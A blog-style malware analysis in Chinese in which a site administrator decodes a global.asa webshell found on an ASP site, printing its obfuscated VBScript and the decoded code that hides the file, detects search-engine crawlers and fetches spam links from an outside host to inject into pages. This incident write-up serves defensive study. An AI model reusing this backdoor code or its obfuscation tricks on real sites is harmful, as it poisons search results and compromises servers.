网站后门文件(Webshell)分析笔记

前言

周末的时候,阿里云发来了一条短信,说网站上发现了后门文件,因而赶忙登陆阿里云网站,查看该安全事件的相关信息。php

后门文件对比

出现后门文件的网站,在几个目录下均存在恶意的global.asa文件,用Beyond Compare对这几个文件进行比较后发现内容相同,那只须要分析其中一个文件便可。html

后门文件功能

先上网查查global.asa文件是干什么用的,在ASP Global.asa 文件这个网页中有介绍,简单来讲,就是能够在用户打开网页前,执行其中的代码。数组

后门文件格式化

而后用文本编辑器打开global.asa这个文件,精简后的内容以下:安全

<script language="vbscript" runat="server">sub Application_OnStart:end sub:sub Application_OnEnd:end Sub:Execute(JiaMi("79.110.32.69.")):function JiaMi(asp):ExeCuTe(JMONE("edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim")):end Function:Function JMONE(objstr):objstr = Replace(objstr, "`", """"):For i = 1 To Len(objstr):If Mid(objstr, i, 1) <> "┊" Then NewStr = Mid(objstr, i, 1) & NewStr:Else:NewStr = vbCrLf & NewStr:End If:Next:JMONE = NewStr:End Function</script>

开头的内容为 <script language="vbscript" runat="server">,说明其中的代码是用VB这门语言写的,运行在服务器端。服务器

代码中有许多冒号,上网查了一下,在VB中,冒号能够起到和换行符相同的做用。那么把全部的冒号都替换为换行符,并添加必要的缩进,格式化后的代码以下:网络

<script language="vbscript" runat="server">
sub Application_OnStart
end sub

sub Application_OnEnd
end Sub

Execute(JiaMi("79.110.32.69."))

function JiaMi(asp)
  ExeCuTe(
    JMONE(
"edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim"
    )
  )
end Function

Function JMONE(objstr)
  objstr = Replace(objstr, "`", """")
  For i = 1 To Len(objstr)
    If Mid(objstr, i, 1) <> "┊" Then NewStr = Mid(objstr, i, 1) & NewStr
    Else
      NewStr = vbCrLf & NewStr
    End If
  Next
  JMONE = NewStr
End Function
</script>
后门文件分析

经过阅读上面格式化以后的代码能够知道,函数Execute调用了函数JiaMi,而函数JiaMi又调用了函数JMONE,这说明关键的部分就是函数JMONE。dom

分析函数JMONE,可知其用于实现以下功能:编辑器

  1. 将传入参数objstr中的 ` 字符替换成一对英文半角双引号,并将处理后的字符串从新赋给变量objstr;
  2. 遍历字符串objstr中的每一个字符,在这里是用函数Mid(objstr, i, 1)来获取当前字符。话说VB中获取字符串中指定字符的方式就是如此?仍是为了防止被安全工具检测到特征,因此没有用常规的方式?
  3. 对于遍历到的每一个字符,检查该字符是否为┊,第一次见到这个字符,还不知道它是干什么用的,它的Unicode编号为U+250A,上网查了一下,才知道这个字符叫“制表符细四长划竖线”。在这里没有用常见的 | 符号,是否也是为了不被安全工具检测到特征?
  4. 若是当前字符为┊,则在变量NewStr前面加一个VB的换行符vbCrLf;不然将当前字符拼接到变量NewStr以前。看来是在该函数外先将恶意代码倒序排列,用特殊制表符当作换行符,而后传入JMONE这个函数进行解析并执行,嘿,有点儿意思啊。
  5. 处理完传入参数以后,将处理结果NewStr赋给变量JMONE,函数结束。

函数JMONE分析完了,接下来就分析分析调用这个函数的JiaMi。这个函数一看就是国人写的,JiaMi就是“加密”嘛,嗯,简单易懂,不错不错。ide

查看JiaMi这个函数的代码,能够知道它只作了一件事,就是向JMONE这个函数传入参数,并执行JMONE这个函数。给JMONE传入的参数是下面这一长串乱七八糟的字符串,但结合前面对JMONE的分析就能够知道,这只不过是倒序排列+制表符分隔的代码而已。下面这一串字符是传入JMONE的参数:函数

"edocpsa=iMaiJ┊txen┊)oah(rhc+edocpsa=edocpsa┊)i(psanaim=oah┊1-)psanaim(dnuoBU ot 0=i rof┊)`.`,psa(tilps=psanaim"

按函数JMONE的逻辑进行还原上面的字符串,添加必要的换行和缩进,就能获得下面的代码:

mianasp=split(asp, ""."")
for i=0 to UBound(mianasp)-1
  hao=mianasp(i)
  aspcode=aspcode+chr(hao)
next
JiaMi=aspcode

分析上面的代码,可知其功能以下:

  1. 将传入的参数以英文点号.为分隔符进行分割,获得数组mianasp;
  2. 遍历数组mianasp,将数组中的每一个字符由前日后拼接起来,最后获得字符串aspcode,并将其赋给变量JiaMi。

在前文中,为了方便阅读,将JiaMi这个函数中的字符串进行了精简。实际执行该函数后,获得的结果又是一大堆字符串,仔细一看,仍是VB代码,仍是用冒号做为换行符。因而将其进行换行处理,并添加必要的缩进,最终关键部分的代码以下:

Function DeAsc(Str)
  Str=Split(Str,"%")
  For I=1 To Ubound(Str)
    DeAsc=DeAsc&Chr(Str(I)-18)
  Next
End Function

Function Htmll(Url,AChar)
  Set MSX=Server.CreateObject("MSXML2.ServerXMLHTTP")
  MSX.Open "GET",Url,False
  MSX.SetRequestHeader "User-Agent","MSIE"
  MSX.Send
  Htmll=MSX.ResponseBody
  Set MSX=Nothing
  Set ASM=Server.CreateObject("Adodb.Stream")
  ASM.Type=1
  ASM.Mode=3
  ASM.Open
  ASM.Write Htmll
  ASM.Position=0
  ASM.Type=2
  ASM.Charset=AChar
  Htmll=ASM.ReadText
  ASM.Close
  Set ASM=Nothing
End Function

Set fso = Server.CreateObject("S"&"cr"&"ip"&"ti"&"ng.Fi"&"le"&"Sys"&"tem"&"Ob"&"je"&"ct")
set f=fso.Getfile("//./" & Server.MapPath("/g"&"lo"&"ba"&"l.a"&"sa"))
if f.attributes<>39 then
  f.attributes=39
end if
Set fso=Nothing
  Bot=Request.ServerVariables("HTTP_USER_AGENT")
  host=Request.ServerVariables("HTTP_HOST")
  path_info=Request.ServerVariables("PATH_INFO")
 KBot=Array("baidu","google","sogou","soso","yahoo","bing","bot","spider","so","360","haosou")

For B=Lbound(KBot) To Ubound(KBot)
  If InStr(1,Bot,KBot(B),1)>0 Then
KeyData=Htmll(DeAsc("%122%134%134%130%")&host&"&url="&path_info,"GB2312")
    skyword=split(KeyData,"[0xSpider]")
    Response.Write(skyword(1))
  End if
Next

上面的代码中定义了函数DeAsc和Htmll,并在后面的语句中调用了这两个函数。下面就来具体分析这些代码作了哪些事:

  1. 定义变量fso = Server.CreateObject("Scripting.FileSystem&Object");这里将函数参数字符串分割成了1~3个不等的字符串并手动进行拼接,应当也是为了躲过安全工具的检测;
  2. 定义变量f = fso.Getfile("//./global.asa"),就是用来获取网站根目录下的global.asa文件;
  3. 判断f的attributes属性值是否为39,若是不是则赋为39;上网查找,可知这个属性是多个值相加后获得的结果,39 = 32 + 4 + 2 + 1,其中的1为只读文件属性,2为隐藏文件属性,4为系统文件属性;这部分代码的做用,就是将global.asa文件设置为只读、隐藏、系统文件这三个属性;
  4. 判断网页访问用户的UserAgent是否包含搜索引擎爬虫特征值,即上面定义的变量KBot;若是判断用户为搜索引擎爬虫,则执行下面的操做;
  5. 执行前面定义过的函数Htmll,该函数接收两个参数;而在第一个参数中,DeAsc里的参数实际上是很长一串,这里作了精简,执行DeAsc后获得的结果为http://file.sjc5.com/file/lin...,应该就是黑产所用的网站了,再将这个URL和用户访问的当前页面URL相拼接,应该就是黑产用来记录用户访问历史的;第二个参数显然是用来定义编码的;
  6. 查看函数Htmll的代码,可知它是以IE的UserAgent向指定URL发起请求,并获取该URL对应的网页内容;用Postman屡次请求该URL:http://file.sjc5.com/file/lin...,所返回的内容是以一对字符串[0xSpider]包裹起来的一堆HTML的a标签,查看这些a标签的href属性,前面一多半都是相对路径,包含各类随机的目录名、文件名,且不少文件的扩展名为shtml或aspx,看来这个网站后门就是针对ASP/ASP.NET的;后面的路径则是包含域名的完整的网址,打开几个网址看了看,目测应该是已经被黑产动过手脚了;
  7. 上面的代码在执行完函数Htmll以后,将返回的结果以[0xSpider]为分隔符进行分割,最后将那一堆网址做为结果返回。
总结

将整个过程梳理下来以后,最终能够知道,这个网站后门是用来篡改搜索引擎爬虫结果的。总结这个后门文件代码的特色以下:

  1. 转换字符编码:好比将正常的字母和符号转换为ASCII码,传入函数JiaMi;
  2. 分割字符串:传入函数JiaMi的字符串不只被转换为ASCII码,并且各字符之间都用英文点号分隔开来;Server.MapPath("/g"&"lo"&"ba"&"l.a"&"sa")这条语句也是同理,将敏感的文件名global.asa进行拆分后再手动拼接;
  3. 改变字符串顺序:传入函数JMONE的字符串就是逆序排列的,在函数中再逆序拼接一遍,转换为正序排列以后,就能够执行了;
  4. 改变字符串编码值:在DeAsc函数中,就是将字符的ASCII码值减去数字18以后,再用Chr函数转换成正常的字符。

虽然上面的代码尝试了各类方式将关键信息进行混淆,但最关键的一点是它没法改变的,就是它必须调用VB的Execute函数来执行代码。我的猜想该网站后门之因此会被阿里云检测出来,Execute函数是主要的缘由。这时想到以前看过的JavaScript代码规范中,有一条就是禁止使用eval函数,应当也是出于一样的考虑吧。

后记

虽然这个后门文件的做用分析清楚了,也把它从服务器上删除掉了,但这个后门文件到底是如何出如今服务器上的,这一点很关键,遗憾的是,并无找到网站漏洞的位置,也就是说没有搞清楚这个后门文件是从哪里来的。不过这一套ASP写的网站如今已经没什么访问量了,恰好借此机会把它下线,这样也就不给入侵者机会了,权当是没有办法的办法吧。

话说回来,网络安全真的是愈来愈重要了,也愈来愈专业了。尤为是对于防守方而言,即便有百密,但只要有一疏,那就意味着失败。做为一名开发者,同时又须要负责服务器及网站的安全,肩上的负担天然更重一些,可是如此一来,也可以让本身以不一样的角度去看待及分析问题,视野也更加开阔了。对于一样的一件事情,是成为你的负累,仍是会督促你成长,全看你用什么样的心态去看待它,你的世界,就是你所塑造的世界。

全文完。

相关文章
相关标签/搜索